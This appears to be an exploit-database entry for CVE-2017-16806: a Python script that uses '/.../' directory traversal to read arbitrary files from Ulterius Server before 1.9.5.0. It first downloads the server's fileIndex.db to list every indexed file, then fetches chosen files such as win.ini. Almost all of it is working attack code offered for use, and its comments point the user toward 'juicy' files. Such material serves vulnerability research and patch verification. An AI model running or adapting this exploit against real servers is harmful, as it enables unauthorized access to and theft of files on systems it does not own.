Ulterius Server Directory Traversal

Ulterius Server version prior to 1.9.5.0 suffer from a directory traversal vulnerability.


MD5 | d120292bfc40e946f75650acf7e268cb

# Exploit Title: Ulterius Server < 1.9.5.0 Directory Traversal Arbitrary File Access
# Date: 11/13/2017
# Exploit Author: Rick Osgood
# Vendor Homepage: https://ulterius.io/
# Software Link: https://github.com/Ulterius/server/tree/0e4f2113da287aac88a8b4c5f8364a03685d393d
# Version: < 1.9.5.0
# Tested on: Windows Server 2012 R2
# CVE : CVE-2017-16806
#
# You can download almost any file that resides on the same drive letter as Ulterius server.
# Example: http://ulteriusURL:22006/.../.../.../.../.../.../.../.../.../windows/win.ini
#
# Unfortunately, you need to know the path to the file you want to download.
# Fortunately, Ulterius indexes every file on the system, and it's usually stored in the same place:
# http://ulteriusURL:2206/.../fileIndex.db
#
# This script will retrieve the fileIndex.db file for you, decompress it, and process the list to
# make it human readable. Then you can use the same script to download any juicy files you find.
#
# Ulterius writes the following to the fileIndex.db file:
# First four bytes are a timestamp so we can ignore this
# The next four items repeat until the end of the file:
# filename.length (4 bytes?)
# filename
# directory.length (4 bytes?)
# directory

import requests
import sys
import argparse
import zlib
import struct

# This function grabs the filename or file path from the fileIndex
def processChunk(i, data):
length = struct.unpack('B', data[i])[0]
length += struct.unpack('B', data[i+1])[0]
length += struct.unpack('B', data[i+2])[0]
length += struct.unpack('B', data[i+3])[0]

i += 4
filename = data[i:i+length]
i += length

return i, filename

# Main function
def main():
# Parse arguments
parser = argparse.ArgumentParser(description='Ulterius exploit by Rick osgood')
parser.add_argument('url', type=str, nargs='+', help='URL of the Ulterius server including port')
parser.add_argument('--retrieve', metavar='FILEPATH', type=str, nargs='+', help='Retrieve file from server (e.g. c:\windows\win.ini)')
parser.add_argument('--index', help='Retrieve, decompress, and process fileIndex.db (List of all files indexed by Ulterius)', action='store_true')
args = parser.parse_args()

# We are going to retrieve a specified file
if args.retrieve:
fileName = str(args.retrieve[0])

# This works for the default Ulterius install directory.
baseDir = "/.../.../.../.../.../.../.../.../.../"

# Remove slashes from output file name
outFile = fileName.replace('\\','_')

# Remove drive letter and change slashes
if ":\\" in fileName[:3]:
fileName = fileName[3:]

# Replace slashes
fileName = fileName.replace('\\','/') # Replace slashes

# Build URL
url = str(args.url[0]) + baseDir + fileName
print "Retrieving " + url

# Download file
r = requests.get(url=url, stream=True) # Retrieve file

# Write file
f = open(outFile, 'w')
f.write(r.content)

# We are going to download the fileIndex.db file
if args.index:
# Setup the URL
url = args.url[0] + "/.../fileIndex.db"
print "Downloading " + url

# Download file
r = requests.get(url=url, stream=True)

# decompress the data
data = zlib.decompress( r.content, -15 )

# Open output file for writing
f = open('fileIndex.db', 'w')

# Strip off header info (not sure what this is)
data = data[8:]

# Process file names and write to output file
i = 0
while i < len(data):
i, filename = processChunk(i, data) # Get file name
i, directory = processChunk(i, data) # Get file path
i += 8 # Skip the FFFFFFFFFFFFFFFF
f.write(directory + '\\' + filename + '\n') # Write to output file

if __name__ == "__main__":
main()


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